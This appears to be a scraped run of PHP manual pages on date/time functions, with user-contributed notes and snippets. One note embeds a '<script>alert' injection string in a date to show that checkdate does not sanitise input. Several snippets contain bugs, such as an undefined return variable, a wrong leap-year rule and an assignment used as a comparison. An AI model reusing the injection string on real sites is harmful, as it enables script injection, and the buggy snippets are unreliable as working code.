I ran into an issue using a function that loops through an array of dates where the keys to the array are the Unix timestamp for midnight for each date.  The loop starts at the first timestamp, then incremented by adding 86400 seconds (ie. 60 x 60 x 24).  However, Daylight Saving Time threw off the accuracy of this loop, since certain days have a duration other than 86400 seconds.  I worked around it by adding a couple of lines to force the timestamp to midnight at each interval.

<?php
  $ONE_DAY = 90000;   // can't use 86400 because some days have one hour more or less
  for ( $each_timestamp = $start_time ; $each_timestamp <= $end_time ; $each_timestamp +=  $ONE_DAY) {

    /*  force midnight to compensate for daylight saving time  */
    $this_timestamp_array = getdate( $each_timestamp );
    $each_timestamp = mktime ( 0 , 0 , 0 , $this_timestamp_array[mon] , $this_timestamp_array[mday] , $this_timestamp_array[year] );

     // do some stuff...
  }
?>
php at sarge dot ch 28-Jan-2004 04:58
Additional thisone here (didn't test it yet but should work :D):

<?php
/**
 * Calculates the Difference between two timestamps
 *
 * @param integer $start_timestamp
 * @param integer $end_timestamp
 * @param integer $unit (default 0)
 * @return string
 * @access public
 */
function dateDifference($start_timestamp,$end_timestamp,$unit= 0){
  $days_seconds_star= (23 * 56 * 60) + 4.091; // Star Day
  $days_seconds_sun= 24 * 60 * 60; // Sun Day
  $difference_seconds= $end_timestamp - $start_timestamp;
  switch($unit){
    case 3: // Days
      $difference_days= round(($difference_seconds / $days_seconds_sun),2);
      return 'approx. '.$difference_hours.' Days';
    case 2: // Hours
      $difference_hours= round(($difference_seconds / 3600),2);
      return 'approx. '.$difference_hours.' Hours';
    break;
    case 1: // Minutes
      $difference_minutes= round(($difference_seconds / 60),2);
      return 'approx. '.$difference_minutes.' Minutes';
    break;
    default: // Seconds
      if($difference_seconds > 1){
        return $difference_seconds.' Seconds';
      }
      else{
        return $difference_seconds.' Second';
      }
  }
}
?>
php at elmegil dot net 20-Dec-2003 10:40
A much easier way to do days diff is to use Julian Days from the Calendar functions:

$start = gregoriantojd($smon, $sday, $syear);
$end = gregoriantojd($emon, $eday, $eyear);
$daysdiff = $end - $start;

You can see the obvious ways to wrap a function around that.
garyc at earthling dot net 18-Mar-2003 08:08
I needed to calculate the week number from a given date and vice versa, where the week starts with a Monday and the first week of a year may begin the year before, if the year begins in the middle of the week (Tue-Sun). This is the way weekly magazines calculate their issue numbers.

Here are two functions that do exactly that:

Hope somebody finds this useful.

Gary

<?php
/*  w e e k n u m b e r  -------------------------------------- //
weeknumber returns a week number from a given date (>1970, <2030)
Wed, 2003-01-01 is in week 1
Mon, 2003-01-06 is in week 2
Wed, 2003-12-31 is in week 53, next years first week
Be careful, there are years with 53 weeks.
// ------------------------------------------------------------ */

function weeknumber ($y, $m, $d) {
    $wn = strftime("%W",mktime(0,0,0,$m,$d,$y));
    $wn += 0; # wn might be a string value
    $firstdayofyear = getdate(mktime(0,0,0,1,1,$y));
    if ($firstdayofyear["wday"] != 1)    # if 1/1 is not a Monday, add 1
        $wn += 1;
    return ($wn);
}    # function weeknumber

/*  d a t e f r o m w e e k  ---------------------------------- //
From a weeknumber, calculates the corresponding date
Input: Year, weeknumber and day offset
Output: Exact date in an associative (named) array
2003, 12, 0: 2003-03-17 (a Monday)
1995,  53, 2: 1995-12-xx
...
// ------------------------------------------------------------ */

function datefromweek ($y, $w, $o) {

    $days = ($w - 1) * 7 + $o;

    $firstdayofyear = getdate(mktime(0,0,0,1,1,$y));
    if ($firstdayofyear["wday"] == 0) $firstdayofyear["wday"] += 7;
# in getdate, Sunday is 0 instead of 7
    $firstmonday = getdate(mktime(0,0,0,1,1-$firstdayofyear["wday"]+1,$y));
    $calcdate = getdate(mktime(0,0,0,$firstmonday["mon"], $firstmonday["mday"]+$days,$firstmonday["year"]));

    $date["year"] = $calcdate["year"];
    $date["month"] = $calcdate["mon"];
    $date["day"] = $calcdate["mday"];

    return ($date);

}    # function datefromweek
?>
brighn (a) yahoo (.) com 02-Jan-2003 09:46
I needed a function that determined the last Sunday of the month. Since it's made for the website's "next meeting" announcement, it goes based on the system clock; also, if today is between Sunday and the end of the month, it figures out the last Sunday of *next* month. lastsunday() takes no arguments and returns the date as a string in the form "January 26, 2003". I could probably have streamlined this quite a bit, but at least it's transparent code. =)

<?php
  /* The two functions calculate when the next meeting will
     be, based on the assumption that the meeting will be on
     the last Sunday of the month. */

  function getlast($mon, $year) {
    $daysinmonth = array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);
    $days = $daysinmonth[$mon-1];
    if ($mon == 2 && ($year % 4) == 0 && (($year % 100) != 0 ||
    ($year % 400) == 0)) $days++;
    if ($mon == 2 && ($year % 4) == 0 && ($year % 1000) != 0) $days++;
    $lastday = getdate(mktime(0,0,0,$mon,$days,$year));
    $wday = $lastday['wday'];
    return getdate(mktime(0,0,0,$mon,$days-$wday,$year));
  }

  function lastsunday() {
    $today = getdate();
    $mon = $today['mon'];
    $year = $today['year'];
    $mday = $today['mday'];
    $lastsun = getlast($mon, $year);
    $sunday = $lastsun['mday'];
    if ($sunday < $mday) {
      $mon++;
      if ($mon = 13) {
        $mon = 1;
        $year++;
      }
      $lastsun = getlast($mon, $year);
      $sunday = $lastsun['mday'];
    }
    $nextmeeting = getdate(mktime(0,0,0,$mon,$sunday,$year));
    $month = $nextmeeting['month'];
    $mday = $nextmeeting['mday'];
    $year = $nextmeeting['year'];
    return "$month $mday, $year";
  }
?>
nightowl at NOS-PA-M dot uk2 dot net 30-Jul-2002 10:59
I wanted to find all records in my database which match the current week (for a call-back function). I made up this function to find the start and end of the current week :

<?php
function week($curtime) {

    $date_array = getdate (time());
    $numdays = $date_array["wday"];

    $startdate = date("Y-m-d", time() - ($numdays * 24*60*60));
    $enddate = date("Y-m-d", time() + ((7 - $numdays) * 24*60*60));

    $week['start'] = $startdate;
    $week['end'] = $enddate;

    return $week;

}
?>
php-contrib at i-ps dot nospam dot net 30-Jan-2002 06:07
Someone may find this info of some use:

Rules for calculating a leap year:

1) If the year divides by 4, it is a leap year (1988, 1992, 1996 are leap years)
2) Unless it divides by 100, in which case it isn't (1900 divides by 4, but was not a leap year)
3) Unless it divides by 400, in which case it is actually a leap year afterall (So 2000 was a leap year).

In practical terms, to work out the number of days in X years, multiply X by 365.2425, rounding DOWN to the last whole number, should give you the number of days.

The result will never be more than one whole day inaccurate, as opposed to multiplying by 365, which, over more years, will create a larger and larger deficit.
th at definitynet dot com 11-Jan-2001 11:00
I had some problems with dates between mySQL and PHP.  PHP had all these great date functions but I wanted to store a usable value in my database tables. In this case I was using TIMESTAMP(14)  <or 'YYYYMMDDHHMMSS'>.
This is perhaps the easiest way I have found to pull the PHP usable UNIX Datestamp from my mySQL datestamp stored in the tables:

Use the mySQL UNIX_TIMESTAMP() function in your SQL definition string. i.e.

$sql= "SELECT field1, field2, UNIX_TIMESTAMP(field3) as your_date
          FROM your_table
          WHERE field1 = '$value'";

The query will return a temp table with coulms "field1" "Field2" "your_date"

The "your_date" will be formatted in a UNIX TIMESTAMP!  Now you can use the PHP date() function to spew out nice date formats.

Sample using above $sql:
20010111002747  = Date Stored on mySQL table (TIMESTAMP(14))
979172867  = value returned as your_date in sql stmt (UNIX_TIMESTAMP)

if we use $newdate = date("F jS, Y -- g:ia", $row["your_date"]);
   --(after fetching our array from the sql results of course)--

echo "$newdate";              --Will produce:
January 11th, 2001 -- 12:27am

Hope this helps someone out there!
DatePeriod::__construct
checkdate
Date/Time


Validate a Gregorian date

Date/Time Functions
date_add
Date/Time Functions
PHP Manual

checkdate

(PHP 4, PHP 5)

checkdate — Validate a Gregorian date

Description

bool checkdate ( int $month , int $day , int $year )

Checks the validity of the date formed by the arguments. A date is considered valid if each parameter is properly defined.

Parameters

month

The month is between 1 and 12 inclusive.

day

The day is within the allowed number of days for the given month. Leap years are taken into consideration.

year

The year is between 1 and 32767 inclusive.

Return Values

Returns TRUE if the date given is valid; otherwise returns FALSE.

Examples

Example #1 checkdate() example

<?php
var_dump(checkdate(12, 31, 2000));
var_dump(checkdate(2, 29, 2001));
?>

The above example will output:

bool(true)
bool(false)

See Also

  • mktime() - Get Unix timestamp for a date
  • strtotime() - Parse about any English textual datetime description into a Unix timestamp

User Contributed Notes

pradeepkumarprajapati3 at yahoo dot co dot in 18-Dec-2011 11:23
don't use strtotime() to format inputs to checkdate(). It would give false results.
Eg,
Below function would return true though it should have been false

<?php
$str = '2011-11-31'; //invalid date, november has 30 days only
function isDateValid($str)
{
  $stamp = strtotime($str);
  if (!is_numeric($stamp))
     return FALSE;

  //checkdate(month, day, year)
  if ( checkdate(date('m', $stamp), date('d', $stamp), date('Y', $stamp)) )
  {
     return TRUE;
  }
  return FALSE;
}
?>

The reason is that strtotime() coverts 2011-11-31 to 2011-12-01.
check with date('Y-m-d', strtotime('2011-11-31'))
Anonymous 13-Jul-2009 12:06
Beware that checkdate can not be used as validation to check if a date is correct.

The example below will return bool(true) which can result that the <script> part is inserted into the database.

<?php

$date = "01-01-1980 <script>alert('test');</script>";
$aDate_parts = preg_split("/[\s-]+/", $date);

var_dump(
    checkdate(
        $aDate_parts[1], // Month
        $aDate_parts[0], // Day
        $aDate_parts[2] // Year
    )
);

?>
iamcanadian1973 at gmail dot com 16-Apr-2009 09:37
[NOTE BY danbrown AT php DOT net: The author's purpose for this function is to determine whether or not a given string $str is a date using a static algorithm.]

<?php
function is_date( $str )
{
  $stamp = strtotime( $str );

  if (!is_numeric($stamp))
  {
     return FALSE;
  }
  $month = date( 'm', $stamp );
  $day   = date( 'd', $stamp );
  $year  = date( 'Y', $stamp );

  if (checkdate($month, $day, $year))
  {
     return TRUE;
  }

  return FALSE;
}
?>
rfeugenio at gmail dot com 26-Mar-2009 10:21
<?php

// This is a simple function that will get the last day of the month.

function GetLastDayofMonth($year, $month) {
    for ($day=31; $day>=28; $day--) {
        if (checkdate($month, $day, $year)) {
            return $day;
        }
    }
}

?>
James Luckhurst 22-Mar-2009 04:26
<?php
/*
## converts a given date format to another date format returns date if the checked date given is valid; otherwise returns NULL
## $s_date the date in e.g. dd/mm/yyyy
## $s_from, $s_to date formats from to i.e. convertdate('13/04/2009','eng','iso','-'); output: 2009-04-13
## date formats available
## 'eng' = dd/mm/yyyy
## 'usa' = mm/dd/yyyy
## 'iso' = yyyy/mm/dd
## $s_return_delimiter returned delimiter e.g. '-' would return dd-mm-yyyy
*/
function convertdate($s_date,$s_from,$s_to,$s_return_delimiter) {

    $s_return_date = '';
    $s_from = strtolower($s_from);
    $s_to = strtolower($s_to);
    $s_date = str_replace(array('\'', '-', '.', ',', ' '), '/', $s_date);
    $a_date = explode('/', $s_date);

    switch($s_from) {
        case 'eng': # dd/mm/yyyy
            $day = $a_date[0];
            $month = $a_date[1];
            $year = $a_date[2];
        break;
        case 'usa':  # mm/dd/yyyy
            $month = $a_date[0];
            $day = $a_date[1];
            $year = $a_date[2];
        break;
        case 'iso': # yyyy/mm/dd
            $year = $a_date[0];
            $month = $a_date[1];
            $day = $a_date[2];
        break;
        default: # error message
            user_error('function convertdate(string $s_date, string $s_from, string $s_to, string $s_return_delimiter) $s_from not a valid type of \'eng\', \'usa\' or \'iso\'');
            return NULL;
    }

    # substitution fixes of valid alternative human input e.g. 1/12/08
    if (strlen($day)==1) { $day='0'.$day; } # day -trailing zero missing
    if (strlen($month)==1) { $month='0'.$month; } # month -trailing zero missing
    if (strlen($year)==3) { $year=substr(date('Y'),0,strlen(date('Y'))-3).$year; } # year -millennium missing
    if (strlen($year)==2) { $year=substr(date('Y'),0,strlen(date('Y'))-2).$year; } # year -century missing
    if (strlen($year)==1) { $year=substr(date('Y'),0,strlen(date('Y'))-1).$year; } # year -decade missing

    switch($s_to) {
        case 'eng': # dd/mm/yyyy
            $s_return_date = $day.$s_return_delimiter.$month.$s_return_delimiter.$year;
        break;
        case 'usa':  # mm/dd/yyyy
            $s_return_date = $month.$s_return_delimiter.$day.$s_return_delimiter.$year;
        break;
        case "iso": # yyyy/mm/dd
            $s_return_date = $year.$s_return_delimiter.$month.$s_return_delimiter.$day;
        break;
        default: # error message
            user_error('function convertdate(string $s_date, string $s_from, string $s_to, string $s_return_delimiter) $s_to not a valid type of \'eng\', \'usa\' or \'iso\'');
            return NULL;
    }

    # if it's an invalid calendar date e.g. 40/02/2009 or rt/we/garbage
    if (!is_numeric($month) || !is_numeric($day) || !is_numeric($year)) {
        return NULL;
    } elseif (!checkdate($month, $day, $year)) {
        return NULL;
    }

    return $s_return_date;
}

echo convertdate('13/04/2009','eng','iso','-');
?>
ystein M 18-Mar-2009 05:51
I think there is an error in the function from bmauser below. $regexp is overwritten. Here's another version which also accepts missing zeros and two digits year notation.

This function checks date if matches given format and validity of the date.

<?php
/**
 * Checks date if matches given format and validity of the date.
 * Examples:
 * <code>
 * is_date('22.22.2222', 'mm.dd.yyyy'); // returns false
 * is_date('11/30/2008', 'mm/dd/yyyy'); // returns true
 * is_date('30-01-2008', 'dd-mm-yyyy'); // returns true
 * is_date('2008 01 30', 'yyyy mm dd'); // returns true
 * </code>
 * @param string $value the variable being evaluated.
 * @param string $format Format of the date. Any combination of <i>mm<i>, <i>dd<i>, <i>yyyy<i>
 * with single character separator between.
 */
function is_valid_date($value, $format = 'dd.mm.yyyy'){
    if(strlen($value) >= 6 && strlen($format) == 10){

        // find separator. Remove all other characters from $format
        $separator_only = str_replace(array('m','d','y'),'', $format);
        $separator = $separator_only[0]; // separator is first character

        if($separator && strlen($separator_only) == 2){
            // make regex
            $regexp = str_replace('mm', '(0?[1-9]|1[0-2])', $format);
            $regexp = str_replace('dd', '(0?[1-9]|[1-2][0-9]|3[0-1])', $regexp);
            $regexp = str_replace('yyyy', '(19|20)?[0-9][0-9]', $regexp);
            $regexp = str_replace($separator, "\\" . $separator, $regexp);
            if($regexp != $value && preg_match('/'.$regexp.'\z/', $value)){

                // check date
                $arr=explode($separator,$value);
                $day=$arr[0];
                $month=$arr[1];
                $year=$arr[2];
                if(@checkdate($month, $day, $year))
                    return true;
            }
        }
    }
    return false;
}
?>

[NOTE BY danbrown AT php DOT net: Original function was written by (bmauser AT gmail) on 16-DEC-2008.]
sebagr@gmail 04-Mar-2009 09:20
Here's a nice snippet to check if user input is valid:

<?php

$date_format = 'Y-m-d';
$input = '2009-03-03';

$input = trim($input);
$time = strtotime($input);

$is_valid = date($date_format, $time) == $input;

print "Valid? ".($is_valid ? 'yes' : 'no');

?>
venadder at yahoo dot ca 21-Jan-2009 10:49
Here is a simple IsDate function, using purely PHP functions( A Check for $Stamp can be added to see if it's a legal Unix timestamp ):

<?php
function IsDate( $Str )
{
  $Stamp = strtotime( $Str );
  $Month = date( 'm', $Stamp );
  $Day   = date( 'd', $Stamp );
  $Year  = date( 'Y', $Stamp );

  return checkdate( $Month, $Day, $Year );
}
?>
parris dot varney at gmail dot com 10-Dec-2008 07:24
I put together an is_date function using checkdate.  Works the same as is_numeric.

<?php
    public static function is_date($date)
    {
        $date = str_replace(array('\'', '-', '.', ','), '/', $date);
        $date = explode('/', $date);

        if(    count($date) == 1 // No tokens
            and    is_numeric($date[0])
            and    $date[0] < 20991231 and
            (    checkdate(substr($date[0], 4, 2)
                        , substr($date[0], 6, 2)
                        , substr($date[0], 0, 4)))
        )
        {
            return true;
        }

        if(    count($date) == 3
            and    is_numeric($date[0])
            and    is_numeric($date[1])
            and is_numeric($date[2]) and
            (    checkdate($date[0], $date[1], $date[2]) //mmddyyyy
            or    checkdate($date[1], $date[0], $date[2]) //ddmmyyyy
            or    checkdate($date[1], $date[2], $date[0])) //yyyymmdd
        )
        {
            return true;
        }

        return false;
    }
?>
doob_ at gmx dot de 26-Nov-2008 08:47
<?php

/*
** check a date
** dd.mm.yyyy || mm/dd/yyyy || dd-mm-yyyy || yyyy-mm-dd
*/

function check_date($date) {
    if(strlen($date) == 10) {
        $pattern = '/\.|\/|-/i';    // . or / or -
        preg_match($pattern, $date, $char);

        $array = preg_split($pattern, $date, -1, PREG_SPLIT_NO_EMPTY);

        if(strlen($array[2]) == 4) {
            // dd.mm.yyyy || dd-mm-yyyy
            if($char[0] == "."|| $char[0] == "-") {
                $month = $array[1];
                $day = $array[0];
                $year = $array[2];
            }
            // mm/dd/yyyy    # Common U.S. writing
            if($char[0] == "/") {
                $month = $array[0];
                $day = $array[1];
                $year = $array[2];
            }
        }
        // yyyy-mm-dd    # iso 8601
        if(strlen($array[0]) == 4 && $char[0] == "-") {
            $month = $array[1];
            $day = $array[2];
            $year = $array[0];
        }
        if(checkdate($month, $day, $year)) {    //Validate Gregorian date
            return TRUE;

        } else {
            return FALSE;
        }
    }else {
        return FALSE;    // more or less 10 chars
    }
}

check_date('21.02.1983');
check_date('21-02-1983');
check_date('02/21/1983'); // Common U.S. writing
check_date('1983-02-21'); // iso 8601

?>
saturn at ax dot com dot tw 25-Aug-2008 11:06
I wrote a simple function to converter datetime to UNIX timestamp. If the input time with error format, the function will return current timestamp.

<?php
function datetime2timestamp($datetime)
{
    $datetime = str_replace('-', ' ', $datetime);
    $datetime = str_replace('/', ' ', $datetime);
    $datetime = str_replace(':', ' ', $datetime);
    $array = explode(' ', $datetime);

    $year   = $array[0];
    $month  = $array[1];
    $day    = $array[2];
    $array[3] ? $hour   = $array[3] : $hour   = '00';
    $array[4] ? $minute = $array[4] : $minute = '00';
    $array[5] ? $second = $array[5] : $second = '00';

    if (preg_match("/^(\d{4}) (\d{2}) (\d{2}) ([01][0-9]|2[0-3]) ([0-5][0-9]) ([0-5][0-9])$/", "$year $month $day $hour $minute $second", $matches)) {
        if (checkdate($matches[2], $matches[3], $matches[1])) {
        return mktime(intval($hour), intval($minute), intval($second), intval($month), intval($day), intval($year));
        } else {
        return time();
        }
    } else {
    return time();
    }
}
?>
el dot vartauy__ at t__gmail dot com 29-Feb-2008 10:18
for funny leap year detection:
<?php
function is_leap($year=NULL) {
    return checkdate(2, 29, ($year==NULL)? date('Y'):$year); // true if is a leap year
}
?>
wasile_ro[at]yahoo[dot]com 08-Oct-2007 07:30
here's a cool function to validate a mysql datetime:

<?php
function isValidDateTime($dateTime)
{
    if (preg_match("/^(\d{4})-(\d{2})-(\d{2}) ([01][0-9]|2[0-3]):([0-5][0-9]):([0-5][0-9])$/", $dateTime, $matches)) {
        if (checkdate($matches[2], $matches[3], $matches[1])) {
            return true;
        }
    }

    return false;
}
?>
jens wittmann 28-Aug-2007 08:29
for checking the rime use this:

<?php
function checktime($hour, $minute) {
    if ($hour > -1 && $hour < 24 && $minute > -1 && $minute < 60) {
        return true;
    }
}
?>
brenig code 14-Aug-2007 11:21
<?php

/**
* check a date combo of the 2
*/
function checkData($date)
{
    if (!isset($date) || $date=="")
    {
        return false;
    }

    list($dd,$mm,$yy)=explode("/",$date);
    if ($dd!="" && $mm!="" && $yy!="")
    {
    if (is_numeric($yy) && is_numeric($mm) && is_numeric($dd))
        {
            return checkdate($mm,$dd,$yy);

        }
    }
    return false;

}
?>
a34 at yahoo dot com 09-Jul-2007 05:21
checkData function posted below does not consider a date entered such as 03/27c/2000.   The c will cause it to crash.  Here is the fix.

<?php
function checkData($mydate) {

    list($yy,$mm,$dd)=explode("-",$mydate);
    if (is_numeric($yy) && is_numeric($mm) && is_numeric($dd))
    {
        return checkdate($mm,$dd,$yy);
    }
    return false;
}
?>
manuel84**at**mp4**dot**it 04-Dec-2006 07:49
If you have a date like this gg/mm/aaaa and you'd like to verify that it is in the Italian Format you can use a function like this.
For other date format you can take this code and simply modify the list and explode line
<?php
/**
* check a date in the Italian format
*/
function checkData($date)
{
    if (!isset($date) || $date=="")
    {
        return false;
    }

    list($dd,$mm,$yy)=explode("/",$date);
    if ($dd!="" && $mm!="" && $yy!="")
    {
        return checkdate($mm,$dd,$yy);
    }

    return false;
}
?>
Date/Time Functions
date_add
Date/Time Functions


Alias of DateTime::add

checkdate
date_create_from_format
Date/Time Functions
PHP Manual

date_add

(PHP 5 >= 5.3.0)

date_add — Alias of DateTime::add()

Description

This function is an alias of: DateTime::add()

User Contributed Notes

knyrii at gmail dot com 12-Jul-2011 09:45
A function I use for fixing date ranges. Can also be used to create a new date by subtracting or adding days, months, or years. The resulting date will always be a valid date.
<?php
/**
 * Fixes the date so that it is valid. Can handle negative values. Great for creating date ranges.
 * NOTE: Changes the passed variables' values.
 * Ex. 2-29-2001 will become 3-1-2001
 * 15-6-2011 will become 3-6-2012
 * 3-0-2001 will become 2-28-2001
 * -10-29-2002 will become 3-1-2001
 * @param integer $month 0 values decrement a year and is set to 12.
 * @param integer $day 0 values decrement a month and is set to the last day of that month.
 * @param integer $year
 * @param boolean $unix Optional. Default is true. Use UNIX date format
 * @return string The resulting string
 */
function date_fix_date(&$month,&$day,&$year,$unix=true){
    if($month>12){
        while ($month>12){
            $month-=12;//subtract a $year
            $year++;//add a $year
        }
    } else if ($month<1){
        while ($month<1){
            $month +=12;//add a $year
            $year--;//subtract a $year
        }
    }
    if ($day>31){
        while ($day>31){
            if ($month==2){
                if (is_leap_year($year)){//subtract a $month
                    $day-=29;
                } else{
                    $day-=28;
                }
                $month++;//add a $month
            } else if (date_hasThirtyOneDays($month)){
                $day-=31;
                $month++;
            } else{
                $day-=30;
                $month++;
            }
        }//end while
        while ($month>12){ //recheck $months
            $month-=12;//subtract a $year
            $year++;//add a $year
        }
    } else if ($day<1){
        while ($day<1){
            $month--;//subtract a $month
            if ($month==2){
                if (is_leap_year($year)){//add a $month
                    $day+=29;
                }else{
                    $day+=28;
                }
            } else if (date_hasThirtyOneDays($month)){
                $day+=31;
            } else{
                $day+=30;
            }
        }//end while
        while ($month<1){//recheck $months
            $month+=12;//add a $year
            $year--;//subtract a $year
        }
    } else if ($month==2){
        if (is_leap_year($year)&&$day>29){
            $day-=29;
            $month++;
        } else if($day>28){
            $day-=28;
            $month++;
        }
    } else if (!date_hasThirtyOneDays($month)&&$day>30){
        $day-=30;
        $month++;
    }
    if ($year<1900) $year=1900;
    if ($unix){
        return "$year-$month-$day";
    } else{
        return "$month-$day-$year";
    }
}
/**
 * Checks to see if the month has 31 days.
 * @param integer $month
 * @return boolean True if the month has 31 days
 */
function date_hasThirtyOneDays($month){
    //1234567 89012:1357 802
    //JfMaMjJ AsOnD:JMMJ AOD
    if ($month<8)
        return $month%2==1;
    else
        return $month%2==0;
}
/**
 * Checks to see if the year is a leap year.
 * @param integer $year
 * @return boolean True if the year is a leap year
 */
function is_leap_year($year){
    return (0 ==$year%4&&0!=$year%100 || 0 ==$year%400);
}
?>
lanlife4real 10-Jan-2010 03:19
This function allows the addition of day(s),month(s),year(s) to the original date while still preserving the Hours, minutes and seconds
You can also modify to add to hours, miuntes and even seconds.

<?php
function add_date($givendate,$day=0,$mth=0,$yr=0) {
      $cd = strtotime($givendate);
      $newdate = date('Y-m-d h:i:s', mktime(date('h',$cd),
    date('i',$cd), date('s',$cd), date('m',$cd)+$mth,
    date('d',$cd)+$day, date('Y',$cd)+$yr));
      return $newdate;
              }

?>
Hyun Woo Shin 27-Mar-2009 11:32
Just add month(s) on the orginal date.

<?php
function add_date($orgDate,$mth){
  $cd = strtotime($orgDate);
  $retDAY = date('Y-m-d', mktime(0,0,0,date('m',$cd)+$mth,date('d',$cd),date('Y',$cd)));
  return $retDAY;
}
?>
raph 09-Sep-2008 02:37
A little function to add 2 time lenghts. Enjoy !

<?php
function AddPlayTime ($oldPlayTime, $PlayTimeToAdd) {

    $pieces = split(':', $oldPlayTime);
    $hours=$pieces[0];
    $hours=str_replace("00","12",$hours);
    $minutes=$pieces[1];
    $seconds=$pieces[2];
    $oldPlayTime=$hours.":".$minutes.":".$seconds;

    $pieces = split(':', $PlayTimeToAdd);
    $hours=$pieces[0];
    $hours=str_replace("00","12",$hours);
    $minutes=$pieces[1];
    $seconds=$pieces[2];

    $str = $str.$minutes." minute ".$seconds." second" ;
    $str = "01/01/2000 ".$oldPlayTime." am + ".$hours." hour ".$minutes." minute ".$seconds." second" ;

    // Avant PHP 5.1.0, vous devez comparer avec  -1, au lieu de false
    if (($timestamp = strtotime($str)) === false) {
        return false;
    } else {
        $sum=date('h:i:s', $timestamp);
        $pieces = split(':', $sum);
        $hours=$pieces[0];
        $hours=str_replace("12","00",$hours);
        $minutes=$pieces[1];
        $seconds=$pieces[2];
        $sum=$hours.":".$minutes.":".$seconds;

        return $sum;

    }
}

$firstTime="00:03:12";
$secondTime="02:04:34";

$sum=AddPlayTime($firstTime,$secondTime);
if ($sum!=false) {
    echo $firstTime." + ".$secondTime." === ".$sum;
}
else {
    echo "failed";
}
?>
checkdate
date_create_from_format
Date/Time Functions


Alias of DateTime::createFromFormat

date_add
date_create
Date/Time Functions
PHP Manual

date_create_from_format

(PHP 5 >= 5.3.0)

date_create_from_format — Alias of DateTime::createFromFormat()

Description

This function is an alias of: DateTime::createFromFormat()

User Contributed Notes

There are no user contributed notes for this page.
date_add
date_create
Date/Time Functions


Alias of DateTime::__construct

date_create_from_format
date_date_set
Date/Time Functions
PHP Manual

date_create

(PHP 5 >= 5.2.0)

date_create — Alias of DateTime::__construct()

Description

This function is an alias of: DateTime::__construct()

User Contributed Notes

me at jameswdunne dot com 17-Jul-2011 04:12
You should also be aware that DateTime has very lax date validation rules. It appears that all months have a maximum of 31 days.

For example, these will work fine:

<?php
  $test = new DateTime('02/31/2011');
  $test = new DateTime('06/31/2011');
?>

We all know that these dates are not real and are invalid so I think a good idea is to do some further validation on dates before creating a DateTime object with them.
Keith Humm 26-Nov-2008 04:12
An interesting note that came from the tutorial (as well as my own testing) is that the DateTime constructor is exception happy. In other languages this is a bit of a no-no - throwing exceptions from within a constructor can cause all sorts of odd problems!

Either way, because of this you should attempt to catch any exception and only use the object if it does not throw an exception.

<?php

$bad_date_string = 'ublingah!';
try {
    $dt = new DateTime($bad_date_string);
}
catch(Exception $e) {
    // catches 'Failed to parse time string (ublingah!) at position 0 (u)' exception.
    // don't use this object
}
?>
djspillers at mac dot com 19-Aug-2008 12:29
Looks like the DateTime class does not exist in my PHP 5.1.5 installation. The only documentation I can find says this class shows up in PHP 5.2
prikkeldraad at gmail dot com 19-Feb-2008 05:56
Serialization and unserialization fail for the DateTime object (PHP 5.2.5).

With your own __sleep and __wakeup function in a child class you can work around this problem.

<?php
class MyDateTime extends DateTime {
    private $_str;

    public function __sleep(){
        $this->_str = $this->format('c');
        return array('_str');
    }

    public function __wakeup() {
        $this->__construct($this->_str);
    }
}
?>

Regards, Mick

[Ed. Please be aware that this is *not* 100% correct as you lose the timezone information. Always use the standard serialization if it's available!]
mroximoron 11-Dec-2007 07:15
The string format here is a bit wrong, yes it accepts the same format, but not the same range as strtotime.

strtotime can't handle dates like 2100-01-01 while this one can..
jsnell at e-normous dot com 28-Oct-2007 03:22
When using these functions inside of destructors or functions called as a result of being registered with register_shutdown_handler, be sure to use date_create() instead of new DateTime().  This is because new DateTime will throw an exception on failure, which is not permitted in any of the above circumstances.  If new DateTime() does fail in one of these circumstances, you will get an error stating "Fatal error: Exception thrown without a stack frame in Unknown on line 0."
karsten at typo3 dot org 17-Sep-2007 09:03
The manual says "Returns DateTime object on success or FALSE on failure".

I tried hard to provoke a failure, but I seem to always get a DateTime object back, even though the PHP log says things like: "Failed to parse time string (2007W992-11:16:47+00:00) at position 5 (9): Unexpected character"

So if you (need to) check the result, beware!

[red. in PHP 5.3 and higher, you can do that with DateTime::getLastErrors().]
Dok 05-Jul-2007 07:52
If you want to create the DateTime object directly from a timestamp use this

<?php
$st = 1170288000 //  a timestamp
$dt = new DateTime("@$st");
?>

See also: http://bugs.php.net/bug.php?id=40171
artur at jedlinski dot pl 19-Apr-2007 05:47
"String in a format accepted by strtotime()" is not 100% truth - you cannot pass timezone info in the string used as DateTime constructor, while you can do it with strtotime(). It may be a problem if you would like to create a date from GMT time and then display it in your local timezone, for example:

<?php
    $timeZone = 'Europe/Warsaw';  // +2 hours
    date_default_timezone_set($timeZone);

    $dateSrc = '2007-04-19 12:50 GMT';
    $dateTime = new DateTime($dateSrc);

    echo 'date(): '.date('H:i:s', strtotime($dateSrc));
    // correct! date(): 14:50:00

    echo 'DateTime::format(): '.$dateTime->format('H:i:s');
    // INCORRECT! DateTime::format(): 12:50:00
?>

[red. your claim that "is not 100% truth" is incorrect, you're seeing desired behavior here. The timezone passed as 2nd argument is used as a default fall back, in case the parsed string doesn't provide TZ information.]

So if you want to convert date between different timezones, you have to create two DateTimeZone objects - one for the input and one for output, like this:

<?php
    $timeZone = 'Europe/Warsaw';  // +2 hours
    $dateSrc = '2007-04-19 12:50';

    $dateTime = new DateTime($dateSrc, new DateTimeZone('GMT'));
    $dateTime->setTimeZone(new DateTimeZone($timeZone));
    echo 'DateTime::format(): '.$dateTime->format('H:i:s');
    // CORRECT! DateTime::format(): 14:50:00
?>

I'm not sure if this is a bug or desired behaviour.
[red. you don't have to do create two DateTimeZone objects, this works too:
<?php
    $timeZone = 'Europe/Warsaw';  // +2 hours
    $dateSrc = '2007-04-19 12:50 GMT';

    $dateTime = new DateTime($dateSrc);
    $dateTime->setTimeZone(new DateTimeZone($timeZone));
    echo 'DateTime::format(): '.$dateTime->format('H:i:s');
    // CORRECT! DateTime::format(): 14:50:00
?>
]
nizar dot jouini at gmail.com 07-Mar-2007 05:05
date_create and other DateTime related functions are included by default only in PHP versions equal and greater than 5.2.

In PHP 5.1.2 this functionality is marked to be experimental and has to be enabled at compile time.
date_create_from_format
date_date_set
Date/Time Functions


Alias of DateTime::setDate

date_create
date_default_timezone_get
Date/Time Functions
PHP Manual

date_date_set

(PHP 5 >= 5.2.0)

date_date_set — Alias of DateTime::setDate()

Description

This function is an alias of: DateTime::setDate()

User Contributed Notes

There are no user contributed notes for this page.
date_create
date_default_timezone_get
Date/Time Functions


Gets the default timezone used by all date/time functions in a script

date_date_set
date_default_timezone_set
Date/Time Functions
PHP Manual

date_default_timezone_get

(PHP 5 >= 5.1.0)

